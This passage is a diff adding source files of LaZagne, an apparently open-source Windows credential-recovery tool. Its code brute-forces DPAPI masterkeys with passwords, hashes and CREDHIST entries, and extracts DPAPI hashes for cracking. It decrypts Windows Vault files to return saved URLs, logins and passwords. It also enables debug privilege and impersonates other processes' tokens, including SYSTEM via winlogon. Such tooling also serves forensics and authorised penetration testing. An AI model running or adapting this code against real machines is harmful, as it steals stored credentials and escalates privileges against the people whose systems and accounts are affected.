format(GUID[0], '08x'), format(GUID[1], '04x'), format(GUID[2], '04x'), format(GUID2[0], '04x'),
|
||||
format(GUID2[1], '08x'), format(GUID2[2], '04x'))
|
||||
return self.preferred_guid.encode()
|
||||
|
||||
return False
|
||||
|
||||
def get_cleartext_password(self, guid=None):
|
||||
"""
|
||||
Get cleartext password if already found of the associated guid.
|
||||
If not guid specify, return the associated password of the preferred guid.
|
||||
"""
|
||||
if not guid:
|
||||
guid = self.get_preferred_guid()
|
||||
|
||||
if guid:
|
||||
return self.get_password(guid)
|
||||
|
||||
def get_dpapi_hash(self, sid, context='local'):
|
||||
"""
|
||||
Extract the DPAPI hash corresponding to the user's password to be able to bruteforce it using john or hashcat.
|
||||
No admin privilege are required to extract it.
|
||||
:param context: expect local or domain depending of the windows environment.
|
||||
"""
|
||||
|
||||
self.get_preferred_guid()
|
||||
|
||||
for mkf in self.mkfiles:
|
||||
if self.preferred_guid == mkf.guid:
|
||||
return mkf.jhash(sid=sid, context=context)
|
||||
|
||||
def add_system_credential(self, blob):
|
||||
"""
|
||||
Adds DPAPI_SYSTEM token to the pool.
|
||||
blob is a string representing the LSA secret token
|
||||
"""
|
||||
self.system = CredSystem(blob)
|
||||
|
||||
def try_credential(self, sid, password=None):
|
||||
"""
|
||||
This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID.
|
||||
Should be called as a generator (ex: for r in try_credential(sid, password))
|
||||
"""
|
||||
|
||||
# Check into cache to gain time (avoid checking twice the same thing)
|
||||
if constant.dpapi_cache.get(sid):
|
||||
if constant.dpapi_cache[sid]['password'] == password:
|
||||
if constant.dpapi_cache[sid]['decrypted']:
|
||||
return True, ''
|
||||
else:
|
||||
return False, ''
|
||||
|
||||
# All master key files have not been already decrypted
|
||||
if self.nb_mkf_decrypted != self.nb_mkf:
|
||||
for guid in self.keys:
|
||||
for mkf in self.keys[guid].get('mkf', ''):
|
||||
if not mkf.decrypted:
|
||||
mk = mkf.masterkey
|
||||
if mk:
|
||||
mk.decrypt_with_password(sid, password)
|
||||
if not mk.decrypted and self.credhists.get(sid) is not None:
|
||||
# Try using credhist file
|
||||
self.credhists[sid].decrypt_with_password(password)
|
||||
for credhist in self.credhists[sid].entries_list:
|
||||
mk.decrypt_with_hash(sid, credhist.pwdhash)
|
||||
if credhist.ntlm is not None and not mk.decrypted:
|
||||
mk.decrypt_with_hash(sid, credhist.ntlm)
|
||||
|
||||
if mk.decrypted:
|
||||
yield u'masterkey {masterkey} decrypted using credhists key'.format(
|
||||
masterkey=mk.guid.decode())
|
||||
self.credhists[sid].valid = True
|
||||
|
||||
constant.dpapi_cache[sid] = {
|
||||
'password': password,
|
||||
'decrypted': mk.decrypted
|
||||
}
|
||||
|
||||
if mk.decrypted:
|
||||
# Save the password found
|
||||
self.keys[mkf.guid]['password'] = password
|
||||
mkf.decrypted = True
|
||||
self.nb_mkf_decrypted += 1
|
||||
|
||||
yield True, u'{password} ok for masterkey {masterkey}'.format(password=password,
|
||||
masterkey=mkf.guid.decode())
|
||||
|
||||
else:
|
||||
yield False, u'{password} not ok for masterkey {masterkey}'.format(password=password,
|
||||
masterkey=mkf.guid.decode())
|
||||
|
||||
def try_credential_hash(self, sid, pwdhash=None):
|
||||
"""
|
||||
This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID.
|
||||
Should be called as a generator (ex: for r in try_credential_hash(sid, pwdhash))
|
||||
"""
|
||||
|
||||
# All master key files have not been already decrypted
|
||||
if self.nb_mkf_decrypted != self.nb_mkf:
|
||||
for guid in self.keys:
|
||||
for mkf in self.keys[guid].get('mkf', ''):
|
||||
if not mkf.decrypted:
|
||||
mk = mkf.masterkey
|
||||
mk.decrypt_with_hash(sid, pwdhash)
|
||||
if not mk.decrypted and self.credhists.get(sid) is not None:
|
||||
# Try using credhist file
|
||||
self.credhists[sid].decrypt_with_hash(pwdhash)
|
||||
for credhist in self.credhists[sid].entries_list:
|
||||
mk.decrypt_with_hash(sid, credhist.pwdhash)
|
||||
if credhist.ntlm is not None and not mk.decrypted:
|
||||
mk.decrypt_with_hash(sid, credhist.ntlm)
|
||||
|
||||
if mk.decrypted:
|
||||
yield True, u'masterkey {masterkey} decrypted using credhists key'.format(
|
||||
masterkey=mk.guid)
|
||||
self.credhists[sid].valid = True
|
||||
break
|
||||
|
||||
if mk.decrypted:
|
||||
mkf.decrypted = True
|
||||
self.nb_mkf_decrypted += 1
|
||||
yield True, u'{hash} ok for masterkey {masterkey}'.format(hash=codecs.encode(pwdhash, 'hex').decode(),
|
||||
masterkey=mkf.guid.decode())
|
||||
else:
|
||||
yield False, u'{hash} not ok for masterkey {masterkey}'.format(
|
||||
hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode())
|
||||
|
||||
def try_system_credential(self):
|
||||
"""
|
||||
Decrypt masterkey files from the system user using DPAPI_SYSTEM creds as key
|
||||
Should be called as a generator (ex: for r in try_system_credential())
|
||||
"""
|
||||
for guid in self.keys:
|
||||
for mkf in self.keys[guid].get('mkf', ''):
|
||||
if not mkf.decrypted:
|
||||
mk = mkf.masterkey
|
||||
mk.decrypt_with_key(self.system.user)
|
||||
if not mk.decrypted:
|
||||
mk.decrypt_with_key(self.system.machine)
|
||||
|
||||
if mk.decrypted:
|
||||
mkf.decrypted = True
|
||||
self.nb_mkf_decrypted += 1
|
||||
|
||||
yield True, u'System masterkey decrypted for {masterkey}'.format(masterkey=mkf.guid.decode())
|
||||
else:
|
||||
yield False, u'System masterkey not decrypted for masterkey {masterkey}'.format(
|
||||
masterkey=mkf.guid.decode())
|
38
lazagne/config/DPAPI/system.py
Normal file
38
lazagne/config/DPAPI/system.py
Normal file
@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
"""
|
||||
Code based from these two awesome projects:
|
||||
- DPAPICK : https://bitbucket.org/jmichel/dpapick
|
||||
- DPAPILAB : https://github.com/dfirfpi/dpapilab
|
||||
"""
|
||||
|
||||
from .eater import DataStruct
|
||||
|
||||
|
||||
class CredSystem(DataStruct):
|
||||
"""
|
||||
This represents the DPAPI_SYSTEM token which is stored as an LSA secret.
|
||||
|
||||
Sets 2 properties:
|
||||
self.machine
|
||||
self.user
|
||||
"""
|
||||
|
||||
def __init__(self, raw=None):
|
||||
self.revision = None
|
||||
self.machine = None
|
||||
self.user = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
"""Parses the given data. May raise exceptions if incorrect data are
|
||||
given. You should not call this function yourself; DataStruct does
|
||||
|
||||
data is a DataStruct object.
|
||||
Returns nothing.
|
||||
|
||||
"""
|
||||
self.revision = data.eat("L")
|
||||
self.machine = data.eat("20s")
|
||||
self.user = data.eat("20s")
|
491
lazagne/config/DPAPI/vault.py
Normal file
491
lazagne/config/DPAPI/vault.py
Normal file
@ -0,0 +1,491 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
"""
|
||||
Code based from these two awesome projects:
|
||||
- DPAPICK : https://bitbucket.org/jmichel/dpapick
|
||||
- DPAPILAB : https://github.com/dfirfpi/dpapilab
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import struct
|
||||
|
||||
from .blob import DPAPIBlob
|
||||
from .eater import DataStruct, Eater
|
||||
from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
|
||||
from lazagne.config.winstructure import char_to_int
|
||||
|
||||
import os
|
||||
|
||||
AES_BLOCK_SIZE = 16
|
||||
|
||||
# ===============================================================================
|
||||
# VAULT POLICY file structs
|
||||
# ===============================================================================
|
||||
|
||||
|
||||
class VaultPolicyKey(DataStruct):
|
||||
"""
|
||||
Structure containing the AES key used to decrypt the vcrd files
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
# self.size = None
|
||||
self.unknown1 = None
|
||||
self.unknown2 = None
|
||||
self.dwMagic = None
|
||||
self.dwVersion = None
|
||||
self.cbKeyData = None
|
||||
self.key = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
# self.size = data.eat("L")
|
||||
self.unknown1 = data.eat("L")
|
||||
self.unknown2 = data.eat("L")
|
||||
self.dwMagic = data.eat("L") # Constant: 0x4d42444b
|
||||
self.dwVersion = data.eat("L")
|
||||
self.cbKeyData = data.eat("L")
|
||||
if self.cbKeyData > 0:
|
||||
# self.key = data.eat_sub(self.cbKeyData)
|
||||
self.key = data.eat(str(self.cbKeyData) + "s")
|
||||
|
||||
|
||||
|
||||
class VaultPolicyKeys(DataStruct):
|
||||
"""
|
||||
Structure containing two AES keys used to decrypt the vcrd files
|
||||
- First key is an AES 128
|
||||
- Second key is an AES 256
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.vpol_key1_size = None
|
||||
self.vpol_key1 = None
|
||||
self.vpol_key2_size = None
|
||||
self.vpol_key2 = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.vpol_key1_size = data.eat("L")
|
||||
if self.vpol_key1_size > 0:
|
||||
self.vpol_key1 = VaultPolicyKey()
|
||||
self.vpol_key1.parse(data.eat_sub(self.vpol_key1_size))
|
||||
|
||||
self.vpol_key2_size = data.eat("L")
|
||||
if self.vpol_key2_size > 0:
|
||||
self.vpol_key2 = VaultPolicyKey()
|
||||
self.vpol_key2.parse(data.eat_sub(self.vpol_key2_size))
|
||||
|
||||
|
||||
class VaultPolicy(DataStruct):
|
||||
"""
|
||||
Policy.vpol file is a DPAPI blob with an header containing a textual description
|
||||
and a GUID that should match the Vault folder name
|
||||
Once the blob is decrypted, we get two AES keys to be used in decrypting the vcrd files.
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.version = None
|
||||
self.guid = None
|
||||
self.description = None
|
||||
self.unknown1 = None
|
||||
self.unknown2 = None
|
||||
self.unknown3 = None
|
||||
# VPOL_STORE
|
||||
self.size = None
|
||||
self.unknown4 = None
|
||||
self.unknown5 = None
|
||||
# DPAPI_BLOB_STORE
|
||||
self.blob_store_size = None
|
||||
self.blob_store_raw = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("L")
|
||||
self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
|
||||
self.description = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
|
||||
self.unknown1 = data.eat("L")
|
||||
self.unknown2 = data.eat("L")
|
||||
self.unknown3 = data.eat("L")
|
||||
# VPOL_STORE
|
||||
self.size = data.eat("L")
|
||||
self.unknown4 = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
|
||||
self.unknown5 = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
|
||||
# DPAPI_BLOB_STORE
|
||||
self.blob_store_size = data.eat("L")
|
||||
if self.blob_store_size > 0:
|
||||
self.blob_store_raw = DPAPIBlob()
|
||||
self.blob_store_raw.parse(data.eat_sub(self.blob_store_size))
|
||||
|
||||
# ===============================================================================
|
||||
# VAULT file structs
|
||||
# ===============================================================================
|
||||
|
||||
|
||||
class VaultAttribute(DataStruct):
|
||||
"""
|
||||
This class contains the encrypted data we are looking for (data + iv)
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.id = None
|
||||
self.attr_unknown_1 = None
|
||||
self.attr_unknown_2 = None
|
||||
self.attr_unknown_3 = None
|
||||
self.padding = None
|
||||
self.attr_unknown_4 = None
|
||||
self.size = None
|
||||
# VAULT_ATTRIBUTE_ENCRYPTED
|
||||
self.has_iv = None
|
||||
self.iv_size = None
|
||||
self.iv = None
|
||||
self.data = None
|
||||
self.stream_end = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.id = data.eat("L")
|
||||
self.attr_unknown_1 = data.eat("L")
|
||||
self.attr_unknown_2 = data.eat("L")
|
||||
self.attr_unknown_3 = data.eat("L")
|
||||
# self.padding = data.eat("6s")
|
||||
if self.id >= 100:
|
||||
self.attr_unknown_4 = data.eat("L")
|
||||
self.size = data.eat("L")
|
||||
if self.size > 0:
|
||||
self.has_iv = ord(data.eat("1s"))
|
||||
|
||||
if self.has_iv == 1:
|
||||
self.iv_size = data.eat("L")
|
||||
self.iv = data.eat(str(self.iv_size)+ "s")
|
||||
self.data = data.eat(str(self.size - 1 - 4 - self.iv_size) + "s")
|
||||
else:
|
||||
self.data = data.eat(str(self.size - 1) + "s")
|
||||
|
||||
|
||||
class VaultAttributeMapEntry(DataStruct):
|
||||
"""
|
||||
This class contains a pointer on VaultAttribute structure
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.id = None
|
||||
self.offset = None
|
||||
self.attr_map_entry_unknown_1 = None
|
||||
self.pointer = None
|
||||
self.extra_entry = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.id = data.eat("L")
|
||||
self.offset = data.eat("L")
|
||||
self.attr_map_entry_unknown_1 = data.eat("L")
|
||||
|
||||
|
||||
class VaultVcrd(DataStruct):
|
||||
"""
|
||||
vcrd files contain encrypted attributes encrypted with the previous AES keys which represents the target secret
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.schema_guid = None
|
||||
self.vcrd_unknown_1 = None
|
||||
self.last_update = None
|
||||
self.vcrd_unknown_2 = None
|
||||
self.vcrd_unknown_3 = None
|
||||
self.description = None
|
||||
self.attributes_array_size = None
|
||||
self.attributes_num = None
|
||||
self.attributes = []
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.schema_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
|
||||
self.vcrd_unknown_1 = data.eat("L")
|
||||
self.last_update = data.eat("Q")
|
||||
self.vcrd_unknown_2 = data.eat("L")
|
||||
self.vcrd_unknown_3 = data.eat("L")
|
||||
self.description = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
|
||||
self.attributes_array_size = data.eat("L")
|
||||
# 12 is the size of the VAULT_ATTRIBUTE_MAP_ENTRY
|
||||
self.attributes_num = self.attributes_array_size // 12
|
||||
for i in range(self.attributes_num):
|
||||
# 12: size of VaultAttributeMapEntry Structure
|
||||
v_map_entry = VaultAttributeMapEntry(data.eat("12s"))
|
||||
self.attributes.append(v_map_entry)
|
||||
|
||||
# ===============================================================================
|
||||
# VAULT schemas
|
||||
# ===============================================================================
|
||||
|
||||
|
||||
class VaultVsch(DataStruct):
|
||||
"""
|
||||
Vault Schemas
|
||||
Vault file partial parsing
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.version = None
|
||||
self.schema_guid = None
|
||||
self.vault_vsch_unknown_1 = None
|
||||
self.count = None
|
||||
self.schema_name = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("L")
|
||||
self.schema_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
|
||||
self.vault_vsch_unknown_1 = data.eat("L")
|
||||
self.count = data.eat("L")
|
||||
self.schema_name = data.eat_length_and_string("L").replace(b"\x00", b"")
|
||||
|
||||
|
||||
class VaultAttributeItem(object):
|
||||
def __init__(self, id_, item):
|
||||
self.id = id_
|
||||
self.item = codecs.encode(item, 'hex')
|
||||
|
||||
|
||||
class VaultSchemaGeneric(DataStruct):
|
||||
"""
|
||||
Generic Vault Schema
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.version = None
|
||||
self.count = None
|
||||
self.vault_schema_generic_unknown1 = None
|
||||
self.attribute_item = []
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("L")
|
||||
self.count = data.eat("L")
|
||||
self.vault_schema_generic_unknown1 = data.eat("L")
|
||||
for i in range(self.count):
|
||||
self.attribute_item.append(
|
||||
VaultAttributeItem(
|
||||
id_=data.eat("L"),
|
||||
item=data.eat_length_and_string("L").replace(b"\x00", b"")
|
||||
)
|
||||
)
|
||||
|
||||
# Vault Simple Schema
|
||||
|
||||
# VAULT_SCHEMA_SIMPLE = VaultSchemaSimpleAdapter(
|
||||
# Struct(
|
||||
# 'data' / GreedyRange(Byte),
|
||||
# )
|
||||
# )
|
||||
|
||||
|
||||
class VaultSchemaPin(DataStruct):
|
||||
"""
|
||||
PIN Logon Vault Resource Schema
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.version = None
|
||||
self.count = None
|
||||
self.vault_schema_pin_unknown1 = None
|
||||
self.id_sid = None
|
||||
self.sid_len = None
|
||||
self.sid = None
|
||||
self.id_resource = None
|
||||
self.resource = None
|
||||
self.id_password = None
|
||||
self.password = None
|
||||
self.id_pin = None
|
||||
self.pin = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("L")
|
||||
self.count = data.eat("L")
|
||||
self.vault_schema_pin_unknown1 = data.eat("L")
|
||||
self.id_sid = data.eat("L")
|
||||
self.sid_len = data.eat("L")
|
||||
if self.sid_len > 0:
|
||||
self.sid = data.eat_sub(self.sid_len)
|
||||
self.id_resource = data.eat("L")
|
||||
self.resource = data.eat_length_and_string("L").replace(b"\x00", b"")
|
||||
self.id_password = data.eat("L")
|
||||
self.authenticator = data.eat_length_and_string("L").replace(b"\x00", b"") # Password
|
||||
self.id_pin = data.eat("L")
|
||||
self.pin = data.eat_length_and_string("L")
|
||||
|
||||
|
||||
class VaultSchemaWebPassword(DataStruct):
|
||||
"""
|
||||
Windows Web Password Credential Schema
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.version = None
|
||||
self.count = None
|
||||
self.vault_schema_web_password_unknown1 = None
|
||||
self.id_identity = None
|
||||
self.identity = None
|
||||
self.id_resource = None
|
||||
self.resource = None
|
||||
self.id_authenticator = None
|
||||
self.authenticator = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("L")
|
||||
self.count = data.eat("L")
|
||||
self.vault_schema_web_password_unknown1 = data.eat("L")
|
||||
self.id_identity = data.eat("L")
|
||||
self.identity = data.eat_length_and_string("L").replace(b"\x00", b"")
|
||||
self.id_resource = data.eat("L")
|
||||
self.resource = data.eat_length_and_string("L").replace(b"\x00", b"")
|
||||
self.id_authenticator = data.eat("L")
|
||||
self.authenticator = data.eat_length_and_string("L").replace(b"\x00", b"")
|
||||
|
||||
|
||||
class VaultSchemaActiveSync(DataStruct):
|
||||
"""
|
||||
Active Sync Credential Schema
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.version = None
|
||||
self.count = None
|
||||
self.vault_schema_activesync_unknown1 = None
|
||||
self.id_identity = None
|
||||
self.identity = None
|
||||
self.id_resource = None
|
||||
self.resource = None
|
||||
self.id_authenticator = None
|
||||
self.authenticator = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("L")
|
||||
self.count = data.eat("L")
|
||||
self.vault_schema_activesync_unknown1 = data.eat("L")
|
||||
self.id_identity = data.eat("L")
|
||||
self.identity = data.eat_length_and_string("L").replace(b"\x00", b"")
|
||||
self.id_resource = data.eat("L")
|
||||
self.resource = data.eat_length_and_string("L").replace(b"\x00", b"")
|
||||
self.id_authenticator = data.eat("L")
|
||||
self.authenticator = codecs.encode(data.eat_length_and_string("L").replace(b"\x00", b""), 'hex')
|
||||
|
||||
|
||||
# Vault Schema Dict
|
||||
vault_schemas = {
|
||||
b'ActiveSyncCredentialSchema' : VaultSchemaActiveSync,
|
||||
b'PIN Logon Vault Resource Schema' : VaultSchemaPin,
|
||||
b'Windows Web Password Credential' : VaultSchemaWebPassword,
|
||||
}
|
||||
|
||||
|
||||
# ===============================================================================
|
||||
# VAULT Main Function
|
||||
# ===============================================================================
|
||||
|
||||
|
||||
class Vault(object):
|
||||
"""
|
||||
Contains all process to decrypt Vault files
|
||||
"""
|
||||
def __init__(self, vaults_dir):
|
||||
self.vaults_dir = vaults_dir
|
||||
|
||||
def decrypt_vault_attribute(self, vault_attr, key_aes128, key_aes256):
|
||||
"""
|
||||
Helper to decrypt VAULT attributes.
|
||||
"""
|
||||
if not vault_attr.size:
|
||||
return b'', False
|
||||
|
||||
if vault_attr.has_iv:
|
||||
cipher = AESModeOfOperationCBC(key_aes256, iv=vault_attr.iv)
|
||||
is_attribute_ex = True
|
||||
else:
|
||||
cipher = AESModeOfOperationCBC(key_aes128)
|
||||
is_attribute_ex = False
|
||||
|
||||
data = vault_attr.data
|
||||
decypted = b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])
|
||||
return decypted, is_attribute_ex
|
||||
|
||||
def get_vault_schema(self, guid, base_dir, default_schema):
|
||||
"""
|
||||
Helper to get the Vault schema to apply on decoded data.
|
||||
"""
|
||||
vault_schema = default_schema
|
||||
schema_file_path = os.path.join(base_dir.encode(), guid + b'.vsch')
|
||||
try:
|
||||
with open(schema_file_path, 'rb') as fschema:
|
||||
vsch = VaultVsch(fschema.read())
|
||||
vault_schema = vault_schemas.get(
|
||||
vsch.schema_name,
|
||||
VaultSchemaGeneric
|
||||
)
|
||||
except IOError:
|
||||
pass
|
||||
return vault_schema
|
||||
|
||||
def decrypt(self, mkp):
|
||||
"""
|
||||
Decrypt one vault file
|
||||
mkp represent the masterkeypool object
|
||||
Very well explained here: http://blog.digital-forensics.it/2016/01/windows-revaulting.html
|
||||
"""
|
||||
vpol_filename = os.path.join(self.vaults_dir, 'Policy.vpol')
|
||||
if not os.path.exists(vpol_filename):
|
||||
return False, u'Policy file not found: {file}'.format(file=vpol_filename)
|
||||
|
||||
with open(vpol_filename, 'rb') as fin:
|
||||
vpol = VaultPolicy(fin.read())
|
||||
|
||||
ok, vpol_decrypted = vpol.blob_store_raw.decrypt_encrypted_blob(mkp)
|
||||
if not ok:
|
||||
return False, u'Unable to decrypt blob. {message}'.format(message=vpol_decrypted)
|
||||
|
||||
vpol_keys = VaultPolicyKeys(vpol_decrypted)
|
||||
key_aes128 = vpol_keys.vpol_key1.key
|
||||
key_aes256 = vpol_keys.vpol_key2.key
|
||||
|
||||
for file in os.listdir(self.vaults_dir):
|
||||
if file.lower().endswith('.vcrd'):
|
||||
filepath = os.path.join(self.vaults_dir, file)
|
||||
attributes_data = {}
|
||||
|
||||
with open(filepath, 'rb') as fin:
|
||||
vcrd = VaultVcrd(fin.read())
|
||||
|
||||
current_vault_schema = self.get_vault_schema(
|
||||
guid=vcrd.schema_guid.upper(),
|
||||
base_dir=self.vaults_dir,
|
||||
default_schema=VaultSchemaGeneric
|
||||
)
|
||||
for attribute in vcrd.attributes:
|
||||
fin.seek(attribute.offset)
|
||||
|
||||
v_attribute = VaultAttribute(fin.read())
|
||||
# print('-id: ', v_attribute.id)
|
||||
# print('-size: ', v_attribute.size)
|
||||
# print('-data: ', repr(v_attribute.data))
|
||||
# print('-has_iv: ', v_attribute.has_iv)
|
||||
# print('-iv: ', repr(v_attribute.iv))
|
||||
|
||||
decrypted, is_attribute_ex = self.decrypt_vault_attribute(v_attribute, key_aes128, key_aes256)
|
||||
if is_attribute_ex:
|
||||
schema = current_vault_schema
|
||||
else:
|
||||
# schema = VAULT_SCHEMA_SIMPLE
|
||||
continue
|
||||
|
||||
attributes_data[attribute.id] = {
|
||||
'data': decrypted,
|
||||
'schema': schema
|
||||
}
|
||||
|
||||
# Parse value found
|
||||
for k, v in sorted(attributes_data.items()):
|
||||
# Parse decrypted data depending on its schema
|
||||
dataout = v['schema'](v['data'])
|
||||
|
||||
if dataout:
|
||||
return True, {
|
||||
'URL': dataout.resource,
|
||||
'Login': dataout.identity,
|
||||
'Password': dataout.authenticator,
|
||||
'File': filepath,
|
||||
}
|
||||
|
||||
return False, 'No .vcrd file found. Nothing to decrypt.'
|
0
lazagne/config/__init__.py
Normal file
0
lazagne/config/__init__.py
Normal file
220
lazagne/config/change_privileges.py
Normal file
220
lazagne/config/change_privileges.py
Normal file
@ -0,0 +1,220 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
# Original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
|
||||
|
||||
import sys
|
||||
import traceback
|
||||
|
||||
from lazagne.config.write_output import print_debug
|
||||
from lazagne.config.winstructure import *
|
||||
|
||||
import os
|
||||
|
||||
|
||||
def get_token_info(hToken):
|
||||
"""
|
||||
Retrieve SID and user owner from Token
|
||||
"""
|
||||
dwSize = DWORD(0)
|
||||
pStringSid = LPWSTR()
|
||||
TokenUser = 1
|
||||
|
||||
if GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)) == 0:
|
||||
address = LocalAlloc(0x0040, dwSize)
|
||||
if address:
|
||||
GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize))
|
||||
pToken_User = cast(address, POINTER(TOKEN_USER))
|
||||
if pToken_User.contents.User.Sid:
|
||||
ConvertSidToStringSid(pToken_User.contents.User.Sid, byref(pStringSid))
|
||||
owner, domaine, _ = LookupAccountSidW(None, pToken_User.contents.User.Sid)
|
||||
if pStringSid:
|
||||
sid = pStringSid.value
|
||||
LocalFree(address)
|
||||
return sid, owner
|
||||
return None, None
|
||||
|
||||
|
||||
def enable_privilege(privilegeStr, hToken=None):
|
||||
"""
|
||||
Enable Privilege on token, if no token is given the function gets the token of the current process.
|
||||
"""
|
||||
if hToken == None:
|
||||
hToken = HANDLE(INVALID_HANDLE_VALUE)
|
||||
if not hToken:
|
||||
return False
|
||||
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, os.getpid())
|
||||
if not hProcess:
|
||||
return False
|
||||
|
||||
OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken))
|
||||
e = GetLastError()
|
||||
if e != 0:
|
||||
return False
|
||||
CloseHandle(hProcess)
|
||||
|
||||
privilege_id = LUID()
|
||||
LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id))
|
||||
e = GetLastError()
|
||||
if e != 0:
|
||||
return False
|
||||
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)
|
||||
tp = TOKEN_PRIVILEGES(1, laa)
|
||||
|
||||
AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None)
|
||||
e = GetLastError()
|
||||
if e != 0:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def get_debug_privilege():
|
||||
"""
|
||||
Enable SE Debug privilege on token
|
||||
"""
|
||||
return RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE)
|
||||
|
||||
|
||||
def list_sids():
|
||||
"""
|
||||
List all SID by process
|
||||
"""
|
||||
sids = []
|
||||
for pid in EnumProcesses():
|
||||
if pid <= 4:
|
||||
continue
|
||||
|
||||
try:
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
|
||||
if not hProcess:
|
||||
continue
|
||||
|
||||
hToken = HANDLE(INVALID_HANDLE_VALUE)
|
||||
if OpenProcessToken(hProcess, tokenprivs, byref(hToken)):
|
||||
if hToken:
|
||||
token_sid, owner = get_token_info(hToken)
|
||||
if token_sid and owner:
|
||||
pname = ''
|
||||
sids.append((pid, pname, token_sid, owner))
|
||||
CloseHandle(hToken)
|
||||
|
||||
CloseHandle(hProcess)
|
||||
|
||||
except Exception as e:
|
||||
print_debug('DEBUG', traceback.format_exc())
|
||||
continue
|
||||
|
||||
return list(sids)
|
||||
|
||||
|
||||
def get_sid_token(token_sid):
|
||||
if token_sid == "S-1-5-18":
|
||||
sids = list_sids()
|
||||
for sid in sids:
|
||||
if "winlogon" in sid[1].lower():
|
||||
try:
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, sid[0])
|
||||
if hProcess:
|
||||
hToken = HANDLE(INVALID_HANDLE_VALUE)
|
||||
if hToken:
|
||||
OpenProcessToken(hProcess, tokenprivs, byref(hToken))
|
||||
if hToken:
|
||||
print_debug('INFO', u'Using PID: ' + str(sid[0]))
|
||||
CloseHandle(hProcess)
|
||||
return hToken
|
||||
|
||||
# CloseHandle(hToken)
|
||||
CloseHandle(hProcess)
|
||||
except Exception as e:
|
||||
print_debug('ERROR', u'{error}'.format(error=e))
|
||||
break
|
||||
return False
|
||||
|
||||
for pid in EnumProcesses():
|
||||
if pid <= 4:
|
||||
continue
|
||||
|
||||
try:
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))
|
||||
if hProcess:
|
||||
hToken = HANDLE(INVALID_HANDLE_VALUE)
|
||||
if hToken:
|
||||
OpenProcessToken(hProcess, tokenprivs, byref(hToken))
|
||||
if hToken:
|
||||
sid, owner = get_token_info(hToken)
|
||||
if sid == token_sid:
|
||||
print_debug('INFO', u'Impersonate token from pid: ' + str(pid))
|
||||
CloseHandle(hProcess)
|
||||
return hToken
|
||||
CloseHandle(hToken)
|
||||
CloseHandle(hProcess)
|
||||
except Exception as e:
|
||||
print_debug('ERROR', u'{error}'.format(error=e))
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def impersonate_sid(sid, close=True):
|
||||
"""
|
||||
Try to impersonate an SID
|
||||
"""
|
||||
hToken = get_sid_token(sid)
|
||||
if hToken:
|
||||
hTokendupe = impersonate_token(hToken)
|
||||
